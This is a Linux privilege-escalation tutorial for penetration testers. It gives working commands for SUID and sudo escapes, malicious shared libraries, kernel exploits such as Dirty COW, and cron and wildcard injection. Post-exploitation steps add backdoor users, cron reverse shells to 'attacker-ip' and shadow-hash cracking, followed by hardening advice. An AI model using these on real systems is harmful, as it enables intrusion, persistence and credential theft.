By Davy Rogers. Use these techniques only in environments you own or have explicit permission to test.

Linux Privilege Escalation

Introduction

Linux Privilege Escalation is the process of exploiting system weaknesses, misconfigurations, or vulnerabilities to gain elevated privileges—typically from a low-privileged user account to root access. This critical phase occurs after initial access has been achieved during a penetration test or red team engagement.

Understanding Linux privilege escalation is essential for:

  • Penetration Testers: Demonstrating the full impact of security vulnerabilities
  • Red Teams: Achieving mission objectives that require administrative access
  • System Administrators: Hardening systems against escalation vectors
  • Security Researchers: Discovering and reporting new escalation techniques

This lesson covers comprehensive enumeration strategies, common privilege escalation vectors, automated tools, manual exploitation techniques, and defensive countermeasures.


Understanding Linux Privilege Model

User Privilege Levels

Linux systems operate with distinct privilege levels:

Regular Users:

  • Limited file system access
  • Cannot install software system-wide
  • Cannot modify system configurations
  • Cannot read other users' files (without permission)
  • UID typically ≥ 1000

Root User (UID 0):

  • Complete system control
  • Can read/write/execute any file
  • Can modify kernel parameters
  • Can install/remove software
  • Can create/delete users
  • Can bind to privileged ports (<1024)

Service Accounts:

  • Run system services (www-data, mysql, postgres)
  • Limited privileges (no shell, restricted directories)
  • UIDs typically between 1-999

Why Privilege Escalation Matters

Initial access often provides only low-privileged access:

  • Web shells run as www-data
  • SSH with stolen credentials of regular users
  • Exploited applications run with service account privileges
  • Social engineering attacks yield standard user access

Root access enables:

  • Installation of persistent backdoors
  • Credential harvesting (password hashes)
  • Lateral movement to other systems
  • Data exfiltration from protected directories
  • Complete system compromise

Privilege Escalation Methodology

Phase 1: Enumeration

Thorough system enumeration is crucial for identifying escalation vectors:

System Information:

# Operating system and kernel version
uname -a
cat /etc/issue
cat /etc/*-release
hostnamectl

# Architecture
uname -m
arch

# Kernel version (look for known exploits)
uname -r
cat /proc/version

Current User Context:

# Who am I?
whoami
id

# What groups do I belong to?
groups
id -Gn

# Sudo privileges
sudo -l

# User's home directory
echo $HOME
ls -la ~

User Enumeration:

# List all users
cat /etc/passwd
cat /etc/passwd | cut -d: -f1    # Just usernames
getent passwd

# Users with login shells
cat /etc/passwd | grep -v "nologin\|false"

# Recently logged in users
last
lastlog

# Currently logged in users
w
who

Network Information:

# Network interfaces
ip addr
ifconfig
ip link show

# Network connections
netstat -antup
ss -antup

# Routing table
route -n
ip route

# DNS settings
cat /etc/resolv.conf

# Hosts file
cat /etc/hosts

# ARP cache
arp -a
ip neigh

Process Enumeration:

# Running processes
ps aux
ps -ef
ps auxww
pstree

# Processes running as root
ps aux | grep root

# Process hierarchy
pstree -p

# Real-time process monitoring
top
htop

Service Enumeration:

# Systemd services
systemctl list-units --type=service
systemctl list-unit-files

# Running services
service --status-all
systemctl status

# Listening ports
netstat -tulpn
ss -tulpn
lsof -i

Installed Software:

# Debian/Ubuntu
dpkg -l
apt list --installed

# RedHat/CentOS
rpm -qa
yum list installed

# Find specific programs
which gcc
which python
which perl
which ruby
which wget
which curl
which nc

# Check for compilers (useful for exploitation)
gcc --version
g++ --version
python --version

File System Enumeration:

# Mounted file systems
mount
cat /etc/fstab
df -h

# Drives and partitions
lsblk
fdisk -l

# Unmounted file systems
cat /etc/fstab

# NFS exports
cat /etc/exports
showmount -e localhost

Scheduled Tasks:

# System-wide cron jobs
ls -la /etc/cron*
cat /etc/crontab

# User crontabs
crontab -l
ls -la /var/spool/cron/crontabs/

# Systemd timers
systemctl list-timers --all

# Atd jobs
atq
ls -la /var/spool/at/

Phase 2: Automated Enumeration

While manual enumeration is educational, automated tools significantly speed up the process:

LinPEAS (Linux Privilege Escalation Awesome Script):

LinPEAS is the most comprehensive automated enumeration tool:

# Download and run
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# Or download, transfer, and execute
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

# Save output to file
./linpeas.sh > linpeas_output.txt

# Run specific checks only
./linpeas.sh -q  # Quick mode (less output)
./linpeas.sh -a  # All checks

LinPEAS checks for:

  • SUID/SGID binaries
  • Sudo misconfigurations
  • Writable files and directories
  • Credentials in files, history, environment
  • Kernel exploits
  • Scheduled tasks
  • Network information
  • Container breakout opportunities

LinEnum:

Another popular enumeration script:

# Download
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

# Run with standard checks
chmod +x LinEnum.sh
./LinEnum.sh

# Thorough mode (includes keyword search)
./LinEnum.sh -t

# Export results
./LinEnum.sh -r report.txt

Linux Exploit Suggester:

Suggests kernel exploits based on OS version:

# Download
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh

# Run
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh

# Check specific kernel
./linux-exploit-suggester.sh --uname 4.15.0-20-generic

pspy - Process Monitor:

Monitors processes without root privileges:

# Download
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64

# Run
chmod +x pspy64
./pspy64

# Monitor file system events
./pspy64 -f

pspy is invaluable for discovering:

  • Cron jobs running as root
  • Processes with command-line arguments containing credentials
  • Scripts executed by other users
  • Scheduled tasks not visible in crontab

Common Privilege Escalation Vectors

1. Kernel Exploits

Kernel vulnerabilities provide direct paths to root access:

Identifying Vulnerable Kernels:

# Check kernel version
uname -r
uname -a

# Examples of vulnerable versions:
# Linux 2.6.22 < 3.9 - Dirty COW (CVE-2016-5195)
# Linux 3.13.0 < 3.19 - OverlayFS (CVE-2015-1328)
# Linux 4.4.0-21 - AF_PACKET (CVE-2016-8655)
# Linux < 4.13.9 - Huge Dirty COW (CVE-2017-1000405)

Dirty COW (CVE-2016-5195):

One of the most famous Linux kernel exploits, affecting kernel versions 2.6.22 through 4.8.3:

# Download exploit
wget https://raw.githubusercontent.com/FireFart/dirtycow/master/dirty.c

# Compile
gcc -pthread dirty.c -o dirty -lcrypt

# Run (creates new root user "firefart")
./dirty password123

# Switch to new user
su firefart
# Enter password: password123

Exploitation Process:

# 1. Identify kernel version
uname -r

# 2. Search for exploits
searchsploit linux kernel $(uname -r)
searchsploit linux kernel 4.4.0

# 3. Download exploit from Exploit-DB
searchsploit -m 45010
# Or manually from https://www.exploit-db.com/

# 4. Transfer to target (if needed)
# On attacker machine:
python3 -m http.server 8000

# On target:
wget http://attacker-ip:8000/exploit.c

# 5. Compile
gcc exploit.c -o exploit

# If gcc not available, compile on attacker with matching architecture
gcc -static exploit.c -o exploit

# 6. Execute
chmod +x exploit
./exploit

Important Considerations:

  • Kernel exploits can crash systems
  • Test in controlled environments first
  • May not work due to system hardening (SELinux, AppArmor)
  • Compile with matching architecture and kernel headers

2. SUID/SGID Binaries

SUID (Set User ID) and SGID (Set Group ID) allow programs to run with the file owner's permissions:

Finding SUID/SGID Files:

# Find all SUID binaries
find / -perm -u=s -type f 2>/dev/null
find / -perm -4000 -type f 2>/dev/null

# Find all SGID binaries
find / -perm -g=s -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null

# Find both SUID and SGID
find / -perm -u=s -o -perm -g=s -type f 2>/dev/null

# More detailed output
find / -perm -u=s -type f -exec ls -la {} \; 2>/dev/null

Common Legitimate SUID Binaries:

  • /usr/bin/passwd - Change passwords
  • /usr/bin/sudo - Execute commands as other users
  • /usr/bin/su - Switch users
  • /bin/ping - Send ICMP packets (requires raw sockets)
  • /usr/bin/mount - Mount file systems

Exploitable SUID Binaries:

GTFOBins (https://gtfobins.github.io/) is an invaluable resource for exploiting SUID binaries:

SUID Python:

# If Python has SUID bit
find / -name python* -perm -4000 2>/dev/null

# Exploit
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

SUID vim/vi:

# Check for SUID vim
find / -name vim* -perm -4000 2>/dev/null

# Exploit - Method 1
vim -c ':py3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

# Method 2
vim
:set shell=/bin/sh
:shell

SUID find:

# Find binary with SUID
find / -name find -perm -4000 2>/dev/null

# Exploit
find . -exec /bin/sh -p \; -quit

SUID nmap (older versions with --interactive):

# Nmap versions 2.02-5.21 had interactive mode
nmap --interactive
nmap> !sh

SUID bash:

# Find SUID bash
find / -name bash -perm -4000 2>/dev/null

# Exploit (maintain elevated privileges)
bash -p

SUID less/more:

# Exploit less
less /etc/passwd
# Then press 'v' to open in editor, then:
:!/bin/sh

# Exploit more
more /etc/passwd
!/bin/sh

SUID systemctl:

# Create malicious service
cat > /tmp/root.service << EOF
[Service]
Type=oneshot
ExecStart=/bin/sh -c "chmod +s /bin/bash"
[Install]
WantedBy=multi-user.target
EOF

# Enable and start service
systemctl enable /tmp/root.service
systemctl start root

# Use SUID bash
bash -p

Custom SUID Binary Exploitation:

If you find an unknown SUID binary, analyze it:

# Check what it does
strings /path/to/suid-binary

# Run with strace to see system calls
strace /path/to/suid-binary 2>&1 | grep -i exec

# Check for shared libraries
ldd /path/to/suid-binary

# Look for exploitable patterns:
# - Calls to system() with relative paths
# - Missing input validation
# - Buffer overflows
# - Command injection

3. Sudo Misconfigurations

Sudo allows users to execute commands with elevated privileges:

Checking Sudo Permissions:

# List allowed commands
sudo -l

# Example output:
# User john may run the following commands on target:
#     (root) NOPASSWD: /usr/bin/find

Exploiting Sudo Commands:

Sudo find:

# From sudo -l: (root) NOPASSWD: /usr/bin/find
sudo find . -exec /bin/sh \; -quit

Sudo vim/vi:

# From sudo -l: (root) NOPASSWD: /usr/bin/vim
sudo vim -c ':!/bin/sh'

# Or
sudo vim
:set shell=/bin/sh
:shell

Sudo awk:

# From sudo -l: (root) NOPASSWD: /usr/bin/awk
sudo awk 'BEGIN {system("/bin/sh")}'

Sudo perl:

# From sudo -l: (root) NOPASSWD: /usr/bin/perl
sudo perl -e 'exec "/bin/sh";'

Sudo python:

# From sudo -l: (root) NOPASSWD: /usr/bin/python
sudo python -c 'import os; os.system("/bin/sh")'

Sudo less/more:

# From sudo -l: (root) NOPASSWD: /usr/bin/less
sudo less /etc/passwd
!/bin/sh

Sudo tar:

# From sudo -l: (root) NOPASSWD: /usr/bin/tar
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

Sudo git:

# From sudo -l: (root) NOPASSWD: /usr/bin/git
sudo git -p help config
!/bin/sh

Sudo Environment Variables:

If sudo -l shows env_keep+=LD_PRELOAD:

# Check for LD_PRELOAD
sudo -l
# Output: env_keep+=LD_PRELOAD

# Create malicious library
cat > shell.c << EOF
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setuid(0);
    setgid(0);
    system("/bin/bash");
}
EOF

# Compile
gcc -fPIC -shared -o shell.so shell.c -nostartfiles

# Execute with LD_PRELOAD
sudo LD_PRELOAD=/tmp/shell.so find

Sudo with LD_LIBRARY_PATH:

# Create malicious library replacing system library
ldd /usr/sbin/apache2
# Identify a library, e.g., libcrypt.so.1

# Create malicious libcrypt.so.1
cat > libcrypt.c << EOF
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
    unsetenv("LD_LIBRARY_PATH");
    setuid(0);
    setgid(0);
    system("/bin/bash");
}
EOF

# Compile
gcc -shared -fPIC -o libcrypt.so.1 libcrypt.c

# Execute
sudo LD_LIBRARY_PATH=. apache2

4. Cron Jobs

Scheduled tasks running as root with writable scripts:

Enumerating Cron Jobs:

# System-wide crontab
cat /etc/crontab

# Directory-based cron jobs
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
ls -la /etc/cron.monthly/
ls -la /etc/cron.weekly/
ls -la /etc/cron.d/

# User crontabs
crontab -l
ls -la /var/spool/cron/
ls -la /var/spool/cron/crontabs/

# Systemd timers
systemctl list-timers --all

Monitoring Cron with pspy:

# Download pspy
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64

# Run and observe
./pspy64

# Watch for processes running as UID 0 (root)

Exploiting Writable Cron Scripts:

# Find cron job running script
cat /etc/crontab
# */5 * * * * root /usr/local/bin/backup.sh

# Check if writable
ls -la /usr/local/bin/backup.sh
# -rwxrwxrwx 1 root root 123 Oct 1 10:00 /usr/local/bin/backup.sh

# Append malicious code
echo 'chmod +s /bin/bash' >> /usr/local/bin/backup.sh

# Or reverse shell
echo 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1' >> /usr/local/bin/backup.sh

# Wait for cron to execute (up to 5 minutes)
# Then use SUID bash
bash -p

Wildcard Injection in Cron:

If cron job uses wildcards with tar, rsync, or other commands:

# Cron job:
# */5 * * * * root cd /backups && tar czf backup.tar.gz *

# Exploit
cd /backups
echo 'chmod +s /bin/bash' > shell.sh
chmod +x shell.sh

# Create checkpoint files
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'

# Wait for cron execution
# Then:
bash -p

5. Writable /etc/passwd

If /etc/passwd is writable, add a root user:

# Check if writable
ls -la /etc/passwd

# Generate password hash
openssl passwd -1 -salt salt password123
# Output: $1$salt$qJH7.N4xYta3aEG/dfqo/0

# Add new root user
echo 'hacker:$1$salt$qJH7.N4xYta3aEG/dfqo/0:0:0:root:/root:/bin/bash' >> /etc/passwd

# Switch to new user
su hacker
# Password: password123

Alternative - Modify Existing User:

# Change UID and GID of existing user to 0
sed -i 's/john:x:1001:1001:/john:x:0:0:/' /etc/passwd

# Now john has root privileges
su john

6. Writable /etc/shadow

Less common but more powerful:

# Check if writable
ls -la /etc/shadow

# Generate password hash
mkpasswd -m sha-512 password123
# Or
python3 -c 'import crypt; print(crypt.crypt("password123", crypt.mksalt(crypt.METHOD_SHA512)))'

# Replace root's password hash
# Edit /etc/shadow and replace root's hash with generated hash
sed -i 's/^root:[^:]*:/root:$6$generated_hash:/' /etc/shadow

# Switch to root
su root
# Password: password123

7. Capabilities

Linux capabilities split root privileges into distinct units:

Finding Files with Capabilities:

# Find files with capabilities
getcap -r / 2>/dev/null

# Example output:
# /usr/bin/python3.8 = cap_setuid+ep

Exploitable Capabilities:

cap_setuid:

# If Python has cap_setuid
getcap /usr/bin/python3.8
# /usr/bin/python3.8 = cap_setuid+ep

# Exploit
/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'

cap_dac_read_search:

# Allows reading any file
# If tar has this capability:
tar -cvf shadow.tar /etc/shadow
tar -xvf shadow.tar
cat etc/shadow

cap_sys_admin:

# Powerful capability, allows many privileged operations
# Can be used to mount file systems, load kernel modules, etc.

Setting Capabilities (for exploitation):

# Set cap_setuid on Python (requires existing elevated access)
setcap cap_setuid+ep /usr/bin/python3.8

8. NFS Shares

Network File System misconfigurations:

Identifying NFS Shares:

# Check for NFS exports
cat /etc/exports

# Example vulnerable configuration:
# /share *(rw,no_root_squash,insecure)

# Check mounted NFS shares
df -h
mount | grep nfs

Exploiting no_root_squash:

If no_root_squash is set, root on the client remains root on the server:

# On attacker machine (must be able to mount the NFS share):
mkdir /tmp/nfs
mount -t nfs target-ip:/share /tmp/nfs

# Create SUID binary
cat > /tmp/nfs/shell.c << EOF
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main(void) {
    setuid(0);
    setgid(0);
    system("/bin/bash");
    return 0;
}
EOF

# Compile as root
gcc /tmp/nfs/shell.c -o /tmp/nfs/shell

# Set SUID bit (as root on attacker)
chmod +s /tmp/nfs/shell

# On target machine:
/share/shell

9. Docker Escape

If user is in docker group:

# Check docker group membership
id
groups

# Exploit - Mount host filesystem
docker run -v /:/mnt --rm -it alpine chroot /mnt bash

# Now you have root access to host filesystem

If Docker socket is accessible:

# Check for docker socket
ls -la /var/run/docker.sock

# If readable, exploit
docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it alpine chroot /mnt bash

10. PATH Hijacking

Exploiting relative paths in scripts:

Scenario: Script running as root uses relative command:

# Script: /usr/local/bin/admin.sh
#!/bin/bash
backup

Exploit:

# Create malicious 'backup' command
cat > /tmp/backup << EOF
#!/bin/bash
chmod +s /bin/bash
EOF

chmod +x /tmp/backup

# Modify PATH
export PATH=/tmp:$PATH

# Trigger script execution
/usr/local/bin/admin.sh

# Use SUID bash
bash -p

11. Writable Service Files

If systemd service files are writable:

# Find writable service files
find /etc/systemd/system /usr/lib/systemd/system -writable -type f 2>/dev/null

# Example: /etc/systemd/system/webapp.service is writable

# Modify service
cat > /etc/systemd/system/webapp.service << EOF
[Service]
Type=oneshot
ExecStart=/bin/bash -c 'chmod +s /bin/bash'
[Install]
WantedBy=multi-user.target
EOF

# Reload and restart
systemctl daemon-reload
systemctl restart webapp

# Use SUID bash
bash -p

12. Password Hunting

Credentials often hide in plain sight:

Configuration Files:

# Search for passwords in config files
grep -r -i "password" /etc/ 2>/dev/null
grep -r -i "passwd" /etc/ 2>/dev/null
grep -r -i "pwd" /etc/ 2>/dev/null

# Database credentials
cat /var/www/html/config.php
cat /var/www/html/wp-config.php
cat /etc/mysql/my.cnf

# Application configs
find / -name "*.conf" -exec grep -i "password" {} + 2>/dev/null

History Files:

# Bash history
cat ~/.bash_history
cat /home/*/.bash_history

# MySQL history
cat ~/.mysql_history

# Python history
cat ~/.python_history

# Less history
cat ~/.lesshst

Environment Variables:

# Current environment
env
printenv

# Other users' environments (if readable)
cat /proc/*/environ | tr '\0' '\n'

SSH Keys:

# Find private SSH keys
find / -name id_rsa 2>/dev/null
find / -name id_dsa 2>/dev/null
find / -name "*.pem" 2>/dev/null

# Check SSH directories
ls -la ~/.ssh/
ls -la /home/*/.ssh/
ls -la /root/.ssh/

# Authorized keys (for persistence)
cat ~/.ssh/authorized_keys

Memory and Crash Dumps:

# Core dumps
find / -name "core" -type f 2>/dev/null

# Crash dumps
ls -la /var/crash/

# Memory dumps
strings /var/crash/dump | grep -i password

13. Exploiting Wildcards

Many commands interpret wildcards in dangerous ways:

Tar Wildcard Injection:

# Vulnerable script: backup.sh
#!/bin/bash
cd /backups
tar czf backup.tar.gz *

# Exploit
echo 'chmod +s /bin/bash' > shell.sh
chmod +x shell.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'

# When script runs:
bash -p

Rsync Wildcard Injection:

# Vulnerable: rsync -a * /backup/

# Exploit
echo 'chmod +s /bin/bash' > shell.sh
chmod +x shell.sh
touch -- '-e sh shell.sh'

Chown Wildcard:

# Vulnerable: chown user:user *

# Create symlink to /etc/passwd
ln -s /etc/passwd pwned

# Now ownership of /etc/passwd changed

Post-Exploitation

Once root access is achieved:

1. Maintain Access

Add SSH Key:

# Generate key on attacker machine
ssh-keygen -f root_key

# Add public key to root's authorized_keys
mkdir -p /root/.ssh
echo 'ssh-rsa AAAAB3Nz...' >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

Create Backdoor User:

# Add user with UID 0
useradd -u 0 -o -g 0 -M -d /root -s /bin/bash backdoor
echo 'backdoor:password123' | chpasswd

Cron Backdoor:

# Add reverse shell to crontab
(crontab -l 2>/dev/null; echo "*/10 * * * * /bin/bash -c 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1'") | crontab -

2. Credential Harvesting

Dump Password Hashes:

# Copy /etc/shadow
cat /etc/shadow > /tmp/shadow.txt

# Or both files for John
cat /etc/passwd > /tmp/passwd.txt
cat /etc/shadow > /tmp/shadow.txt

# Combine for cracking
unshadow /tmp/passwd.txt /tmp/shadow.txt > /tmp/unshadowed.txt

# Crack with John
john /tmp/unshadowed.txt
john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/unshadowed.txt

Extract SSH Keys:

# Find all private keys
find / -name id_rsa 2>/dev/null
find / -name id_dsa 2>/dev/null
find /home -name "*.pem" 2>/dev/null

# Copy to attacker machine

3. Lateral Movement

Enumerate Network:

# Find other hosts
arp -a
ip neigh

# Scan internal network
for i in {1..254}; do ping -c 1 192.168.1.$i; done

Pivot with SSH:

# Use compromised host as jump box
ssh -L 8080:internal-host:80 user@compromised-host

# Dynamic port forwarding (SOCKS proxy)
ssh -D 9050 user@compromised-host

Defense and Hardening

System Hardening

Update and Patch:

# Keep system updated
apt update && apt upgrade -y
yum update -y

# Enable automatic security updates
dpkg-reconfigure -plow unattended-upgrades

Minimize SUID/SGID Binaries:

# Audit SUID binaries
find / -perm -4000 -type f 2>/dev/null

# Remove unnecessary SUID bits
chmod u-s /usr/bin/unnecessary-binary

# Use capabilities instead of SUID where possible
setcap 'cap_net_raw+ep' /usr/bin/ping
chmod u-s /usr/bin/ping

Secure Sudo Configuration:

# Edit sudoers
visudo

# Avoid wildcards
# Bad: user ALL=(root) NOPASSWD: /usr/bin/*
# Good: user ALL=(root) NOPASSWD: /usr/bin/specific-command

# Disable environment preservation
Defaults    env_reset
Defaults    !env_keep

# Require password
# Remove NOPASSWD where not necessary

Protect Sensitive Files:

# Ensure proper permissions
chmod 644 /etc/passwd
chmod 600 /etc/shadow
chmod 600 /etc/gshadow

# Protect cron directories
chmod 700 /etc/cron.d/
chmod 700 /var/spool/cron/

# Secure SSH
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys

Disable Unnecessary Services:

# List enabled services
systemctl list-unit-files --type=service --state=enabled

# Disable unnecessary services
systemctl disable telnet
systemctl stop telnet

Implement Security Modules:

# Enable AppArmor
systemctl enable apparmor
systemctl start apparmor

# Or SELinux
# Set enforcing mode in /etc/selinux/config
setenforce 1

Monitoring and Detection

Enable Auditd:

# Install auditd
apt install auditd

# Monitor sensitive files
auditctl -w /etc/passwd -p wa -k passwd_changes
auditctl -w /etc/shadow -p wa -k shadow_changes
auditctl -w /etc/sudoers -p wa -k sudoers_changes

# Monitor SUID execution
auditctl -a always,exit -F arch=b64 -S execve -F euid=0 -k root_commands

# View logs
ausearch -k passwd_changes

Log Analysis:

# Monitor authentication logs
tail -f /var/log/auth.log
tail -f /var/log/secure

# Failed login attempts
grep "Failed password" /var/log/auth.log

# Sudo usage
grep "sudo:" /var/log/auth.log

File Integrity Monitoring:

# Install AIDE
apt install aide

# Initialize database
aideinit

# Check for changes
aide --check

Practical Scenarios

Scenario 1: SUID Binary Exploitation

Target Environment:

  • Linux Ubuntu 20.04
  • User: www-data (web shell)
  • Goal: Escalate to root

Enumeration:

# Check current privileges
whoami
# www-data

id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

# Find SUID binaries
find / -perm -4000 -type f 2>/dev/null
# /usr/bin/python3.8
# /usr/bin/sudo
# /usr/bin/find
# /bin/ping
# ... (standard binaries)

Exploitation:

Discovered /usr/bin/find with SUID bit:

# Verify SUID
ls -la /usr/bin/find
# -rwsr-xr-x 1 root root 233K Apr 18  2021 /usr/bin/find

# Exploit using GTFOBins method
find . -exec /bin/sh -p \; -quit

# Verify root access
whoami
# root

id
# uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)

Scenario 2: Sudo Misconfiguration

Target Environment:

  • CentOS 7
  • User: john (SSH access)
  • Goal: Escalate to root

Enumeration:

# Check sudo privileges
sudo -l
# User john may run the following commands on target:
#     (root) NOPASSWD: /usr/bin/vim

Exploitation:

# Exploit vim with sudo
sudo vim -c ':!/bin/bash'

# Now root
whoami
# root

Scenario 3: Cron Job Exploitation

Target Environment:

  • Debian 11
  • User: backup (limited shell)
  • Goal: Escalate to root

Enumeration:

# Check cron jobs
cat /etc/crontab
# */5 * * * * root /usr/local/bin/cleanup.sh

# Check script
ls -la /usr/local/bin/cleanup.sh
# -rwxrwxrwx 1 root root 152 Oct 1 10:00 /usr/local/bin/cleanup.sh

# Script is world-writable!
cat /usr/local/bin/cleanup.sh
# #!/bin/bash
# rm -rf /tmp/*

Exploitation:

# Add malicious code
echo 'chmod +s /bin/bash' >> /usr/local/bin/cleanup.sh

# Wait for cron (up to 5 minutes)
watch -n 1 ls -la /bin/bash

# Once SUID bit is set:
bash -p

# Verify root
whoami
# root

Scenario 4: Kernel Exploit

Target Environment:

  • Ubuntu 16.04 (kernel 4.4.0-21-generic)
  • User: guest (SSH)
  • Goal: Escalate to root

Enumeration:

# Check kernel version
uname -r
# 4.4.0-21-generic

# Search for exploits
searchsploit linux kernel 4.4.0
# Linux Kernel < 4.4.0-116 - Local Privilege Escalation (CVE-2017-16995)

Exploitation:

# Download exploit
wget http://attacker-ip:8000/45010.c

# Compile
gcc 45010.c -o exploit

# Execute
./exploit

# Verify root
whoami
# root

Tools Reference

Enumeration Tools

LinPEAS:

LinEnum:

Linux Exploit Suggester:

pspy:

Exploitation Resources

GTFOBins:

Exploit-DB:

PayloadsAllTheThings:


Best Practices

For Penetration Testers

  1. Always Enumerate Thoroughly:

    • Use multiple enumeration methods
    • Don't rely solely on automated tools
    • Manual checks often find unique vectors
  2. Test in Controlled Environments:

    • Kernel exploits can crash systems
    • Verify exploits in lab before production
    • Have rollback plans
  3. Document Everything:

    • Record commands executed
    • Note vulnerabilities discovered
    • Provide remediation recommendations
  4. Understand Impact:

    • Explain business risk of privilege escalation
    • Show complete attack path
    • Demonstrate defense strategies
  5. Stay Current:

    • New techniques emerge regularly
    • Follow security researchers
    • Practice in HTB, TryHackMe, VulnHub

For Defenders

  1. Principle of Least Privilege:

    • Minimize sudo permissions
    • Avoid unnecessary SUID binaries
    • Use capabilities instead of SUID when possible
  2. Keep Systems Updated:

    • Patch kernel vulnerabilities promptly
    • Enable automatic security updates
    • Monitor security advisories
  3. Audit Configurations:

    • Regularly review sudoers
    • Check cron jobs
    • Audit file permissions on sensitive files
  4. Implement Defense in Depth:

    • Enable SELinux/AppArmor
    • Use file integrity monitoring
    • Deploy host-based intrusion detection
  5. Monitor and Log:

    • Enable auditd
    • Centralize logs
    • Alert on suspicious activity

Summary

Linux privilege escalation is a critical skill requiring:

Knowledge:

  • Understanding Linux privilege model
  • Knowing common escalation vectors
  • Recognizing misconfigurations

Enumeration:

  • Thorough system reconnaissance
  • Automated and manual techniques
  • Persistent investigation

Exploitation:

  • Leveraging SUID binaries
  • Exploiting sudo misconfigurations
  • Kernel exploitation when appropriate
  • Creative exploitation of unique vectors

Post-Exploitation:

  • Maintaining access
  • Credential harvesting
  • Lateral movement planning

Defense:

  • System hardening
  • Continuous monitoring
  • Regular security audits
  • Principle of least privilege

Mastering privilege escalation transforms low-privileged access into full system compromise, demonstrating the critical importance of defense-in-depth security strategies.


Resources